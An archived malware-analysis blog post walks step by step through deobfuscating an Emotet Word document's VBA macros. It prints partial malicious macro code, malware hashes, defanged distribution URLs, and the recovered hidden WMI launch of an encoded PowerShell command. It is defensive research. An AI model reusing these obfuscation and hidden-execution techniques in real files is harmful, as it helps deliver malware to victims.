{
	"id": "37cfc05e-d0bb-4e26-aeb1-8abd3fc098db",
	"created_at": "2026-04-06T01:29:44.819885Z",
	"updated_at": "2026-04-10T03:21:05.981382Z",
	"deleted_at": null,
	"sha1_hash": "3da4e7d77f8277d640d12a39fcdfd2a422a1da11",
	"title": "Emotet Technical Analysis - Part 1 Reveal the Evil Code",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 937001,
	"plain_text": "Emotet Technical Analysis - Part 1 Reveal the Evil Code\r\nBy Suleyman Ozarslan, PhD\r\nPublished: 2020-01-29 · Archived: 2026-04-06 01:28:12 UTC\r\nEmotet was first identified in 2014 as a banking trojan designed to steal sensitive information and financial\r\ncredentials. What began as a single purpose infostealer matured into a large, modular botnet that supports many\r\ncriminal operations. In recent years, operators have used Emotet as a kind of Infrastructure as a Service to deliver\r\nadditional malware for partners, including new banking trojans, credential stealers, spam modules, and\r\nransomware loaders. This shift turned Emotet into a high volume distribution hub that fuels diverse intrusion\r\ncampaigns across sectors.\r\nResearchers track Emotet activity by grouping it into epochs based on changing command and control servers,\r\ndistribution methods, payload families, and even bot assignments. Each epoch reflects an operational refresh that\r\nrotates infrastructure, updates loaders, and modifies delivery techniques to evade defenses. The project referenced\r\nin this analysis focuses on an Epoch 2 sample. The sample exhibits the hallmark behaviors of modern Emotet. It\r\narrives via themed email threads or malicious documents, establishes persistence on the host, and communicates\r\nwith a shifting set of command and control endpoints. From there it can retrieve secondary payloads, harvest\r\ncredentials and browser data, and move laterally through shared credentials and administrative tools.\r\nDefenders can reduce exposure by hardening email and web entry points, blocking macro enabled documents\r\nfrom the internet, and enforcing multifactor authentication for remote and privileged access. Collect detailed\r\nprocess and command line telemetry, monitor for unusual outbound connections and bursts of SMB traffic, and\r\nsegment critical systems to limit lateral movement. Continuous validation against Emotet behaviors ensures\r\ndetections fire as intended, response playbooks contain activity quickly, and the environment is protected when\r\nthe botnet rotates to a new epoch.\r\nWe'll reveal obfuscated malicious macro codes in this first part of the Emotet Technical Analysis series. All\r\ntechniques used by attackers in this malware are mapped to tactics and techniques in the MITRE ATT\u0026CK\r\nFramework.\r\nInitial Access\r\nThe most common entry vector of Emotet is spearphishing emails. The MITRE ATT\u0026CK Framework classifies\r\nspearphishing techniques into Spearphishing Attachment ( MITRE ATT\u0026CK T1193 ), Spearphishing Link ( MITRE\r\nATT\u0026CK T1192 ) and Spearphishing via Service ( MITRE ATT\u0026CK T1194 ). In this Emotet strain, spearphishing\r\nemails include links to websites that deliver Microsoft Office Word documents to the user upon clicking the link (\r\nUser Execution, MITRE ATT\u0026CK T1024 ). Word documents are not directly attached to emails to avoid defenses\r\nthat may inspect email attachments ( Spearphishing Link, MITRE ATT\u0026CK T1192 ). They include malicious\r\nmacros that download Emotet banking malware to the target systems.\r\nWe'll analyze the following Word document step by step with you:\r\nhttps://www.picussecurity.com/blog/emotet-technical-analysis-part-1-reveal-the-evil-code\r\nPage 1 of 21\n\nMD5: 515f13034bc4ccf635b026722fd5ef9c\r\nSHA-1: 8925b822e1d86d787b4682d1bb803cf1f5ea7031\r\nSHA-256: FF76FF1440947E3DD42578F534B91FDB8229C1F40FED36A3DD5688DBC51F0014\r\nVirusTotal detection rate: 13/61 (as of January 21, 2020\r\nNames: ST_28546448.doc, 01856218536426646.doc\r\nThis word document is distributed by the following links contained in emails:\r\nhxxps://alokhoa.vn/wp-content/uploads/lm/1-91751097-8408196-fcan6yhfsu-gg5ak/\r\nhxxp://honamcharity.ir/mmth4/Documentation/gepvh74lcq7h/\r\nhxxp://lvita.co/tmp/Reporting/\r\nhxxp://www.selloderaza.cl/wp-snapshots/balance/e2o6-62079720-0865-srgnquu24o-ppcdh20p/\r\nExecution\r\nWhen a victim opens the document, Microsoft Word asks to enable/disable macros. It reveals that macros are\r\nembedded in the document ( Scripting, MITRE ATT\u0026CK T1064 ).\r\nThe malicious document claims that the user must \"Enable content\" to open the document. However, enabling\r\ncontent launches the code in the macros.\r\nhttps://www.picussecurity.com/blog/emotet-technical-analysis-part-1-reveal-the-evil-code\r\nPage 2 of 21\n\nDefense Evasion\r\nWe start by analyzing VBA macros with oledump.py .\r\n💡\r\noledump.py is a script that we use to analyze OLE files and data streams in these files.\r\n💡\r\nObject Linking \u0026 Embedding (OLE) is a proprietary technology developed by Microsoft that allows\r\nembedding and linking to documents and other objects.\r\noledump.py reveals dozens of macros, and some of them are empty.\r\n 1: 4096 '\\x05DocumentSummaryInformation'\r\n 2: 420 '\\x05SummaryInformation'\r\n 3: 6952 '1Table'\r\n 4: 173292 'Data'\r\n 5: 97 'Macros/Bkfiqlsjzo/\\x01CompObj'\r\n 6: 267 'Macros/Bkfiqlsjzo/\\x03VBFrame'\r\n 7: 38 'Macros/Bkfiqlsjzo/f'\r\n 8: 0 'Macros/Bkfiqlsjzo/o'\r\n 9: 97 'Macros/Cirlqxmy/\\x01CompObj'\r\n 10: 265 'Macros/Cirlqxmy/\\x03VBFrame'\r\n 11: 38 'Macros/Cirlqxmy/f'\r\n 12: 0 'Macros/Cirlqxmy/o'\r\n 13: 97 'Macros/Crpckdmcyo/\\x01CompObj'\r\n 14: 267 'Macros/Crpckdmcyo/\\x03VBFrame'\r\n 15: 38 'Macros/Crpckdmcyo/f'\r\n 16: 0 'Macros/Crpckdmcyo/o'\r\n 17: 97 'Macros/Cvvqkbkmpnr/\\x01CompObj'\r\n 18: 268 'Macros/Cvvqkbkmpnr/\\x03VBFrame'\r\n 19: 38 'Macros/Cvvqkbkmpnr/f'\r\n 20: 0 'Macros/Cvvqkbkmpnr/o'\r\n ............ stripped ............\r\nWe also parse the document with olevba .\r\n💡\r\nOlevba is a script to parse OLE and OpenXML files such as MS Office documents (e.g. Word, Excel)\r\nfor detecting VBA (Visual Basic for Applications) macros and extract their source code.\r\nWhen we parse the Word document with olevba , it also reveals dozens of macro streams, and some of them are\r\nempty.\r\nhttps://www.picussecurity.com/blog/emotet-technical-analysis-part-1-reveal-the-evil-code\r\nPage 3 of 21\n\nolevba 0.55.1 on Python 2.7.12 - http://decalage.info/python/oletools\r\n===============================================================================\r\nFILE: ST_28546448.doc\r\nType: OLE\r\n-------------------------------------------------------------------------------\r\nVBA MACRO Lunzqxdidt.cls\r\nin file: ST_28546448.doc - OLE stream: u'Macros/VBA/Lunzqxdidt'\r\n- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\r\nPrivate Sub Document_open()\r\nAwzttocpmk\r\nEnd Sub\r\n-------------------------------------------------------------------------------\r\nVBA MACRO Dtcqcidgf.frm\r\nin file: ST_28546448.doc - OLE stream: u'Macros/VBA/Dtcqcidgf'\r\n- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\r\n(empty macro)\r\n-------------------------------------------------------------------------------\r\nVBA MACRO Bkfiqlsjzo.frm\r\nin file: ST_28546448.doc - OLE stream: u'Macros/VBA/Bkfiqlsjzo'\r\n- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\r\n(empty macro)\r\n-------------------------------------------------------------------------------\r\nVBA MACRO Ehmkurtl.frm\r\nin file: ST_28546448.doc - OLE stream: u'Macros/VBA/Ehmkurtl'\r\n- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\r\n(empty macro)\r\n-------------------------------------------------------------------------------\r\nVBA MACRO Ydkbuixknjvib.frm\r\nin file: ST_28546448.doc - OLE stream: u'Macros/VBA/Ydkbuixknjvib'\r\n- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\r\n(empty macro)\r\n-------------------------------------------------------------------------------\r\nVBA MACRO Jzvaecqzzki.frm\r\nin file: ST_28546448.doc - OLE stream: u'Macros/VBA/Jzvaecqzzki'\r\n- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\r\n(empty macro)\r\n............ stripped............\r\nOlevba uncovers that there are some suspicious macro codes in the document, such as Hex and Base64 encoded\r\nstrings, ChrW and ShowWindow functions. We used --decode and --deobf paramaters of olevba to decode\r\nand deobfuscate macro streams but they do not reveal because macro codes are heavily obfuscated ( Obfuscated\r\nFiles or Information, MITRE ATT\u0026CK T1027 ).\r\nhttps://www.picussecurity.com/blog/emotet-technical-analysis-part-1-reveal-the-evil-code\r\nPage 4 of 21\n\n+----------+--------------------+---------------------------------------------+\r\n|Type |Keyword |Description |\r\n+----------+--------------------+---------------------------------------------+\r\n|AutoExec |Document_open |Runs when the Word or Publisher document is | | | |opened\r\n|Suspicious|showwindow |May hide the application |\r\n|Suspicious|ChrW |May attempt to obfuscate specific strings |\r\n| | |(use option --deobf to deobfuscate) |\r\n|Suspicious|Hex Strings |Hex-encoded strings were detected, may be |\r\n| | |used to obfuscate strings (option --decode to|\r\n| | |see all) |\r\n|Suspicious|Base64 Strings |Base64-encoded strings were detected, may be |\r\n| | |used to obfuscate strings (option --decode to|\r\n| | |see all) |\r\n+----------+--------------------+---------------------------------------------+\r\n💡\r\nOlevba also detects security-related patterns such as auto-executable macros, suspicious VBA keywords\r\nused by malware and several common obfuscation methods including Hex and Base64 encoding.\r\nThere are too many macro streams to analyze in the analyzed document, but olevba revealed the starting point:\r\nDocument_open sub.\r\n1.\r\nPrivate Sub Document_open()\r\nAwzttocpmk End Sub\r\nLet' look at Awzttocpmk function:\r\n2.\r\nfunction Awzttocpmk()\r\ndv = \"in=mmuusns==mmuusns==mmuusns=mgm=mmuusns==mmuusns==mmuusns=t\" + ChrW(wdKeyS) + \":=mmuusns==mmuusns=win=mmu\r\nFor Bekkjavx = rgfasd To Qforoylvscd\r\newr = dsf - CVar(er * 23)\r\nMdwqzgbq = CSng(Pagurlxflyza)\r\nBgcfzyxxfdxh = CLng(Wriwwmyrie)\r\nNext\r\nIf er \u003e Uwrwalpbpt Then\r\ngggs = Sin(3)\r\nRvvsucwkyojuq = Bwjxxmpd\r\nIclrlucmm = CByte(8 - CSng(3))\r\nEnd If\r\n............ stripped (216) lines ............\r\nhttps://www.picussecurity.com/blog/emotet-technical-analysis-part-1-reveal-the-evil-code\r\nPage 5 of 21\n\nExpand the full code of Awzttocpmk function\r\nAs seen in the codes, there are hundreds of loops, declarations, conditions, type conversions and variable\r\nassignments to obfuscate codes, and many of them are never used. Since, olevba could not deobfuscate the\r\nmacro codes, we try ViperMonkey for deobfuscation.\r\n💡\r\nViperMonkey is a VBA Emulation engine written in Python, designed to analyze and deobfuscate\r\nmalicious VBA Macros contained in Microsoft Office files.\r\n............ stripped ............\r\nERROR Impossible to operate on arguments of different types. invalid literal for int() with base 10: ''\r\nINFO calling Function: CDbl(0)\r\nERROR Impossible to operate on arguments of different types. invalid literal for int() with base 10: 'NULL'\r\nWARNING Variable 'Cznxzdrwptabi' not found\r\nINFO calling Function: CSng('NULL')\r\nWARNING Variable 'Xagbzxrz' not found\r\nINFO calling Function: CLng('NULL')\r\nERROR Cannot update loop counter. Breaking loop. invalid literal for int() with base 10: 'NULL'\r\n............ stripped ............\r\nViperMonkey doesn’t deobfuscate macro codes either, so it's time now for the manual analysis. When we clear\r\nmacro codes by removing never used loops, declarations, conditions, type conversions and variables, we reveal\r\nthe following code from hundreds of lines of code.\r\n3.\r\nFunction Awzttocpmk()\r\ndv = \"in=mmuusns==mmuusns==mmuusns=mgm=mmuusns==mmuusns==mmuusns=t\" + ChrW(wdKeyS) + \":=mmuusns==mmuusns=win=mmu\r\nfd = \"=mmuusns=\"\r\nAzofmlab = Split(\"=mmuusns==mmuusns==mmuusns==mmuusns==mmuusns=w\" + dv + T, fd)\r\nDlgwrtobrxjmm = Join(Azofmlab, \"\")\r\nSet Fcbxktofsye = GetObject(Dlgwrtobrxjmm)\r\nRpkdwysvusev = Dtcqcidgf.Fshewmvxnlq.Tag\r\nIxldqggmg = Dlgwrtobrxjmm + ChrW(wdKeyS) + Dtcqcidgf.Hsinculclm.Tag + Rpkdwysvusev\r\nYbdakolbjc = Ixldqggmg + Dtcqcidgf.Ekrdfjzpyjnsx\r\nSet Awzttocpmk = GetObject(Ybdakolbjc)\r\nAwzttocpmk. showwindow = False\r\nDo While Fcbxktofsye. Create(er \u0026 Ysjchbkkg, Swdtudgkjzjs, Awzttocpmk, Dzzebvtpbu)\r\nLoop\r\nEnd Function\r\nOther than declarations and variable assignments, there is only one meaningful loop in this function:\r\nhttps://www.picussecurity.com/blog/emotet-technical-analysis-part-1-reveal-the-evil-code\r\nPage 6 of 21\n\n4. Do While Fcbxktofsye.Create(er \u0026 Ysjchbkkg, Swdtudgkjzjs, Awzttocpmk, Dzzebvtpbu)\r\nLoop\r\nFirst, we need to find Fcbxktofsye in the Awzttocpmk() function :\r\n5. Set Fcbxktofsye = GetObject(Dlgwrtobrxjmm)\r\nSo, we need to find Dlgwrtobrxjmm in the function:\r\n6. Dlgwrtobrxjmm = Join(Azofmlab, \"\")\r\nWhen we put 6. in place of Dlgwrtobrxjmm in 5. , we get:\r\n7. Set Fcbxktofsye = GetObject(Join(Azofmlab, \"\"))\r\nNow, we need to find Azofmlab to find Fcbxktofsye . Azofmlab is defined in the macro codes:\r\n8. Azofmlab = Split(\"=mmuusns==mmuusns==mmuusns==mmuusns==mmuusns=w\" + dv + T, fd)\r\nWhen we put 8. in place of Azofmlab in 7. , we get:\r\n9. Set Fcbxktofsye = GetObject(Join(Split(\"=mmuusns==mmuusns==mmuusns==mmuusns==mmuusns=w\" + dv + T, fd), \"\"))\r\nSo, we must find dv , T and fd variables.\r\ndv is defined in the macro codes:\r\n10. dv = \"in=mmuusns==mmuusns==mmuusns=mgm=mmuusns==mmuusns==mmuusns=t\" + ChrW(wdKeyS) + \":=mmuusns==mmuusns=wi\r\nNow, we need to find the value of the ChrW(wdKeyS) function and Dtcqcidgf.Ekrdfjzpyjnsx to reveal dv .\r\n💡\r\nwdKeyS is an example of wdKey enumeration in Word, which specifies a keyboard character.\r\nAccording to wdKey enumeration , wdKeyS is 83 .\r\n11. ChrW(wdKeyS) = ChrW(83)\r\n💡\r\nAccording to ASCII code, 83 specifies the S character, so ChrW(83) is equal to the S character.\r\nhttps://www.picussecurity.com/blog/emotet-technical-analysis-part-1-reveal-the-evil-code\r\nPage 7 of 21\n\n12. ChrW(wdKeyS) = \"S\"\r\nSo, ChrW(wdKeyS) is equal to the S character, but adversaries used this function instead of a simple \"S\" in order\r\nto obfuscate their codes to decrease the detection rate.\r\nLet's find the second unknown variable of dv, which is Dtcqcidgf.Ekrdfjzpyjnsx . But, it does not exist in the\r\nmacro codes . Because, adversaries hid Dtcqcidgf.Ekrdfjzpyjnsx in VBA forms in the document other than\r\nmacro codes for obfuscation. It is obvious why automated tools cannot deobfuscate the macro code.\r\nolevba revealed the form variable Dtcqcidgf.Ekrdfjzpyjnsx :\r\nVBA FORM Variable \"Ekrdfjzpyjnsx\" IN 'ST_28546448.doc' - OLE stream: u'Macros/Dtcqcidgf'\r\n- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\r\nP\r\nSo, the value of the form variable Dtcqcidgf.Ekrdfjzpyjnsx is P .\r\n13. Dtcqcidgf.Ekrdfjzpyjnsx = \"P\"\r\nLet's put 12. and 13 . in their places in 9 . :\r\n14. dv = \"in=mmuusns==mmuusns==mmuusns=mgm=mmuusns==mmuusns==mmuusns=t\" + \"S\" + \":=mmuusns==mmuusns=win=mmuusns\r\n💡\r\n+ operator in VBA adds two numbers or returns the positive value of a numeric expression. It can also\r\nbe used to concatenate two string expressions.\r\nSo, we can concatenate substrings in dv :\r\n15. dv = \"in=mmuusns==mmuusns==mmuusns=mgm=mmuusns==mmuusns==mmuusns=tS:=mmuusns==mmuusns=win=mmuusns==mmuusns=\r\nWe found dv . Now, it is time to find T and fd t o reveal Fcbxktofsye .\r\nT is not initialized in codes. Microsoft Visual Basic Editors' Locals Window shows its value as Empty.\r\n16. T = \"\"\r\nfd is defined in the macro codes:\r\nhttps://www.picussecurity.com/blog/emotet-technical-analysis-part-1-reveal-the-evil-code\r\nPage 8 of 21\n\n17. fd = \"=mmuusns=\"\r\nLet's put 15. , 16. and 17. in their places in 10. :\r\n18. Set Fcbxktofsye = GetObject(Join(Split(\"=mmuusns==mmuusns==mmuusns==mmuusns==mmuusns=w\" + \"in=mmuusns==mmuu\r\nGet rid of \"+\":\r\n19. Set Fcbxktofsye = GetObject(Join(Split(\"=mmuusns==mmuusns==mmuusns==mmuusns==mmuusns=win=mmuusns==mmuusns==\r\nNow, first we must find the result of the Split function.\r\n💡\r\nThe Split function is used is to split a string into a number of substrings based on the given delimiter\r\nand returns a one-dimensional array of substrings.\r\nWe can find the result of the Split function by splitting the text with the delimiter =mmuusns= by simply\r\nremoving all instances of the delimiter in the string:\r\n20. (\"win\",\"mgm\",\"tS:\",\"win\",\"32\",\"_Pr\",\"oc\",\"ess\")\r\nLet's put the result in its place in 15. :\r\n21. Set Fcbxktofsye = GetObject(Join((\"win\",\"mgm\",\"tS:\",\"win\",\"32\",\"_Pr\",\"oc\",\"ess\"), \"\"))\r\nNow, we need to find the result of the Join function.\r\n💡\r\nThe Join function joins an array of substrings into a single string.\r\nSo, the result of the Join function is ( Dlgwrtobrxjmm = Join(Azofmlab, \"\") )\r\n22. Dlgwrtobrxjmm = \"winmgmtS:win32_Process\"\r\nNow, we can reveal the Fcbxktofsye :\r\n23. Set Fcbxktofsye = GetObject(winmgmtS:win32_Process)\r\nFinally, we get a hint of what this code does:\r\n💡\r\nhttps://www.picussecurity.com/blog/emotet-technical-analysis-part-1-reveal-the-evil-code\r\nPage 9 of 21\n\nThe Win32_Process is a WMI class representing a process on an operating system.\r\nTherefore, attackers will run a process using WMI ( Windows Management Instrumentation, MITRE ATT\u0026CK\r\nT1047 ) instead of cmd ( Command-Line Interface, MITRE ATT\u0026CK T1059 ).\r\n💡\r\nWindows Management Instrumentation (WMI) is the infrastructure for management data and\r\noperations on Windows-based operating systems. You can write WMI scripts or applications to\r\nautomate administrative tasks on remote computers but WMI also supplies management data to other\r\nparts of the operating system and products.\r\nLet's put 23. into 4. :\r\n24. Do While GetObject(winmgmtS:win32_Process).Create(er \u0026 Ysjchbkkg, Swdtudgkjzjs, Awzttocpmk, Dzzebvtpbu) Loo\r\nNow, we must find er , Ysjchbkkg , Swdtudgkjzjs , Awzttocpmk and Dzzebvtpbu variables.\r\ner variable is not initialized, it is NULL.\r\n25. er = \"\"\r\nYsjchbkkg is stored in another function. There are also never used loops, declarations, conditions, type\r\nconversions and variable assignments to obfuscate codes.\r\n26.\r\nFunction Ysjchbkkg()\r\n For Nagspgiy = rgfasd To Eqsbwirkrwf\r\n ewr = dsf - CVar(er * 23)\r\n Cafxunqrqgmm = CSng(Tuonppje)\r\n Lbrjnfryxgerk = CLng(Kivokgoxfxp)\r\n Next\r\n If er \u003e Qzkxtglswh Then\r\n gggs = Sin(3)\r\n Pnosxcjgze = Pxswdllxchh\r\n Gxdwuobrdusaf = CByte(8 - CSng(3))\r\nEnd If\r\n If sdf \u003e Fwjltwiwoppk Then\r\n wer3 = Sin(1)\r\n............ stripped (323 lines) ............\r\nhttps://www.picussecurity.com/blog/emotet-technical-analysis-part-1-reveal-the-evil-code\r\nPage 10 of 21\n\nExpand the full code of Ysjchbkkg function.\r\nWhen we clear useless codes that are included in the macro codes to cover malicious code, we reveal the\r\nfollowing function:\r\n27.\r\nFunction Ysjchbkkg()\r\nJqzbdljbr = I + ChrW(wdKeyP)\r\nLbfipxywqppc = Jqzbdljbr + Dtcqcidgf.Iqjssfeeu + Dtcqcidgf.Zxioomrqvjz\r\nsss = Dtcqcidgf.Xrqtcysa.GroupName\r\nFbxpzsewrc = Split(Lbfipxywqppc + CVar(Trim(sss)), \"=mmuusns=\")\r\nYsjchbkkg = Join(Fbxpzsewrc, \"\")\r\nEnd Function\r\nFrom the Ysjchbkkg function:\r\n28. Ysjchbkkg = Join(Fbxpzsewrc, \"\")\r\nFbxpzsewrc is also defined in the function:\r\n29. Fbxpzsewrc = Split(Lbfipxywqppc + CVar(Trim(sss)), \"=mmuusns=\")\r\nPut 29 . in 28. :\r\n30. Ysjchbkkg = Join(Split(Lbfipxywqppc + CVar(Trim(sss)), \"=mmuusns=\"), \"\")\r\nWe must find Lbfipxywqppc and sss to reveal Ysjchbkkg . They are included in the Ysjchbkkg function:\r\n31. Lbfipxywqppc = Jqzbdljbr + Dtcqcidgf.Iqjssfeeu + Dtcqcidgf.Zxioomrqvjz\r\n32. sss = Dtcqcidgf.Xrqtcysa.GroupName\r\nPut 31 . and 32. in 30. :\r\n33. Ysjchbkkg = Join(Split(Jqzbdljbr + Dtcqcidgf.Iqjssfeeu + Dtcqcidgf.Zxioomrqvjz + CVar(Trim(Dtcqcidgf.Xrqtcy\r\nNow, we need to find Jqzbdljbr , Dtcqcidgf.Iqjssfeeu , Dtcqcidgf.Zxioomrqvjz and\r\nCVar(Trim(Dtcqcidgf.Xrqtcysa.GroupName) .\r\nJqzbdljbr exist in the function:\r\nhttps://www.picussecurity.com/blog/emotet-technical-analysis-part-1-reveal-the-evil-code\r\nPage 11 of 21\n\n34. Jqzbdljbr = I + ChrW(wdKeyP)\r\nWe must find I and ChrW(wdKeyP) .\r\nI is not initialized.\r\n35. I = \"\"\r\nLet's find ChrW(wdKeyP) . According to wdKey enumeration :\r\n36. wdKeyP = 80\r\nAccording to ASCII code, 80 specifies the P character. When we put 80 in place of wdKeyP in ChrW(wdKeyP) ,\r\nwe get:\r\n37. ChrW(80) = \"P\"\r\nSo, ChrW(wdKeyS) is equal to the P character, but adversaries used wdKeyP and ChrW functions together\r\ninstead of a simple P for obfuscation.\r\nLet's put 35. and 37. in 34.\r\n38. Jqzbdljbr = \"\" + \"P\"\r\nConcatenate strings:\r\n39. Jqzbdljbr = \"P\"\r\nNow, let's find Dtcqcidgf.Iqjssfeeu . It does not exist in the macro code, it is a form variable:\r\nVBA FORM Variable \"Iqjssfeeu\" IN '01856218536426646.doc' - OLE stream: 'Macros/Dtcqcidgf'\r\n- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\r\n'o=mmuusns=w=mmuusns=e=mmuusns=r=mmuusns=s=mmuusns=h=mmuusns=el=mmuusns=l=mmuusns= =mmuusns=-=mmuusns=w=mmuusns=\r\nTherefore:\r\n40. Dtcqcidgf.Iqjssfeeu=\"o=mmuusns=w=mmuusns=e=mmuusns=r=mmuusns=s=mmuusns=h=mmuusns=el=mmuusns=l=mmuusns= =mmu\r\nDtcqcidgf.Zxioomrqvjz is also a form variable:\r\nhttps://www.picussecurity.com/blog/emotet-technical-analysis-part-1-reveal-the-evil-code\r\nPage 12 of 21\n\nVBA FORM Variable \"b'Zxioomrqvjz'\" IN '01856218536426646.doc' - OLE stream: 'Macros/Dtcqcidgf'\r\n- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\r\n'd=mmuusns=d=mmuusns=e=mmuusns=n=mmuusns= =mmuusns=-=mmuusns=e=mmuusns=n '\r\nThen:\r\n41. Dtcqcidgf.Zxioomrqvjz =\"d=mmuusns=d=mmuusns=e=mmuusns=n=mmuusns= =mmuusns=-=mmuusns=e=mmuusns=n \"\r\nNow, let's find CVar(Trim(Dtcqcidgf.Xrqtcysa.GroupName) . First, we must find\r\nDtcqcidgf.Xrqtcysa.Groupname . Dtcqcidgf.Xrqtcysa is also a form variable:\r\nVBA FORM Variable \"b'Xrqtcysa'\" IN '01856218536426646.doc' - OLE stream: 'Macros/Dtcqcidgf'\r\n- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\r\n'0'\r\nDtcqcidgf.Xrqtcysa.GroupName means that GroupName property of Dtcqcidgf.Xrqtcysa is a form variable.\r\n💡\r\nGroupName is a property of form controls, such as OptionButton.\r\nGroupName property of Dtcqcidgf.Xrqtcysa includes a long string:\r\n42. CVar(Trim(Dtcqcidgf.Xrqtcysa.GroupName)) = CVar(Trim(\"\r\n............ stripped ............\"))\r\nExpand the full code of Dtcqcidgf.Xrqtcysa.GroupName\r\nDtcqcidgf.Xrqtcysa.GroupName starts with dozens of space characters. Adversaries added these space characters\r\nfor obfuscation and used Trim function to get rid of them.\r\n💡\r\nThe Trim function strips leading and trailing spaces from a string variable.\r\n43. CVar(Trim(Dtcqcidgf.Xrqtcysa.GroupName)) = CVar(\"JABBAH=mmuusns=oAeQB0=mmuusns=AGoAaA=mmuusns=B6AGcA=mmuusn\r\nIn fact, CVar function is useless in this code. As you can guess, adversaries used this function for obfuscation.\r\n💡\r\nCVar is a type conversion function. It converts any string expression or numeric expression to a variant.\r\n44. CVar(Trim(Dtcqcidgf.Xrqtcysa.GroupName)) = \"JABBAH=mmuusns=oAeQB0=mmuusns=AGoAaA=mmuusns=B6AGcA=mmuusns=YQB\r\nhttps://www.picussecurity.com/blog/emotet-technical-analysis-part-1-reveal-the-evil-code\r\nPage 13 of 21\n\nIt's time to put 39. , 40. , 41. and 44. in 33. :\r\n45. Ysjchbkkg = Join(Split(\"P\" + \"o=mmuusns=w=mmuusns=e=mmuusns=r=mmuusns=s=mmuusns=h=mmuusns=el=mmuusns=l=mmuu\r\n................................ stripped ........................................\r\ns=BqAGUA=mmuusns=YwB3AG=mmuusns=EAcgBn=mmuusns=AGsAYw=mmuusns=BsACcA\"), \"=mmuusns=\"), \"\")\r\nExpand the full code of Ysjchbkkg\r\nGet rid of + characters:\r\n46. Ysjchbkkg = Join(Split(\"Po=mmuusns=w=mmuusns=e=mmuusns=r=mmuusns=s=mmuusns=h=mmuusns=el=mmuusns=l=mmuusns=\r\n................................ stripped ........................................\r\ns=BqAGUA=mmuusns=YwB3AG=mmuusns=EAcgBn=mmuusns=AGsAYw=mmuusns=BsACcA\"), \"=mmuusns=\"), \"\")\r\nSplit the text with =mmuusns= delimiter:\r\n47. Ysjchbkkg = Join((\"Po\",\"w\",\"e\",\"r\",\"s\",\"h\",\"el\",\"l\",\" \",\"-\",\"w\",\" \",\"h\",\"id\",\"d\",\"e\",\"n\",\" \",\"-\",\"e\",\"n JAB\r\nLet's join the substrings:\r\n48. Ysjchbkkg = \"Powershell -w hidden -en JABBAHoAeQB0AGoAaAB6AGcAYQB1AG0AaQBnAD0AJwBOAHYAeABkAHgAZwBjAGMAYgBuA\r\nThere is a PowerShell script in the Ysjchbkkg variable. Powershell ( MITRE ATT\u0026CK T1086 ) is commonly used\r\nby attackers to perform various actions, including downloading a file and execution of a code. The -en\r\nparameter in the PowerShell script is an alias of the -EncodedCommand parameter.\r\n💡\r\n\"- EncodedCommand \" accepts a base64-encoded string version of a command.\r\nTherefore, we must use base64 decoding to reveal the PowerShell command. We'll analyze the obfuscated\r\nPowerShell command in the second part of this technical analysis series.\r\nNow, we know the value of the Ysjchbkkg variable . Let's remember our main operation:\r\n4. Do While Fcbxktofsye.Create(er \u0026 Ysjchbkkg, Swdtudgkjzjs, Awzttocpmk, Dzzebvtpbu)\r\nLoop\r\nUntil now, we revealed Fcbxktofsye , er , and Ysjchbkkg variables . Now, we must find Swdtudgkjzjs ,\r\nAwzttocpmk and Dzzebvtpbu variables.\r\nSwdtudgkjzjs is uninitialized.\r\nhttps://www.picussecurity.com/blog/emotet-technical-analysis-part-1-reveal-the-evil-code\r\nPage 14 of 21\n\n49. Swdtudgkjzjs = \"\"\r\nAwzttocpmk exists in the macro codes:\r\n50. Set Awzttocpmk = GetObject(Ybdakolbjc)\r\n51. Ybdakolbjc = Ixldqggmg + Dtcqcidgf.Ekrdfjzpyjnsx\r\nLet's put 51. in place of Ybdakolbjc in 50 ., we get:\r\n52. Set Awzttocpmk = GetObject(YIxldqggmg + Dtcqcidgf.Ekrdfjzpyjnsx)\r\nWe found Dtcqcidgf.Ekrdfjzpyjnsx before:\r\n13. Dtcqcidgf.Ekrdfjzpyjnsx = \"P\"\r\nLet's get Ixldqggmg from the macro codes:\r\n53. Ixldqggmg = Dlgwrtobrxjmm + ChrW(wdKeyS) + Dtcqcidgf.Hsinculclm.Tag + Rpkdwysvusev\r\nWe need Dlgwrtobrxjmmi , ChrW(wdKeyS) , Dtcqcidgf.Hsinculclm.Tag and Rpkdwysvusev to find\r\nIxldqggmg .\r\nWe've already revealed the value of Dlgwrtobrxjmm in 22. :\r\n22. Dlgwrtobrxjmm = \"winmgmtS:win32_Process\"\r\nWe've also revealed ChrW(wdKeyS) in 12. :\r\n12. ChrW(wdKeyS) = \"S\"\r\nLet's find Dtcqcidgf.Hsinculclm.Tag . We must look at data streams in forms instead of the macro codes.\r\n💡\r\nTag is a property that stores additional information about each control on the forms. The default setting\r\nis a zero-length string (\" \").\r\nhttps://www.picussecurity.com/blog/emotet-technical-analysis-part-1-reveal-the-evil-code\r\nPage 15 of 21\n\nDtcqcidgf.Hsinculclm is defined in the form variables in the document:\r\n54. Dtcqcidgf.Hsinculclm.Tag = \"tar\"\r\nLet's find Rpkdwysvusev . According to its name, it seems that it is in the macro codes.\r\n55. Rpkdwysvusev = Dtcqcidgf.Fshewmvxnlq.Tag\r\nBut, it is a tag property of a form variable, Dtcqcidgf.Fshewmvxnlq .\r\n56. Dtcqcidgf.Fshewmvxnlq.Tag = \"tu\"\r\nTherefore:\r\n57. Rpkdwysvusev = \"tu\"\r\nLet's put 22. , 12. , 54. and 57. in 53. :\r\n58. Ixldqggmg = \"winmgmtS:win32_Process\" + \"S\" + \"tar\" + \"tu\"\r\nGet rid of \"+\" characters:\r\n59. Ixldqggmg = \"winmgmtS:win32_ProcessStartu\"\r\nNow, we now Ixldqggmg . Let's put 59. and 13. in 52. :\r\n60. Set Awzttocpmk = GetObject(\"winmgmtS:win32_ProcessStartu\" + \"P\")\r\nTherefore:\r\n61. Set Awzttocpmk = 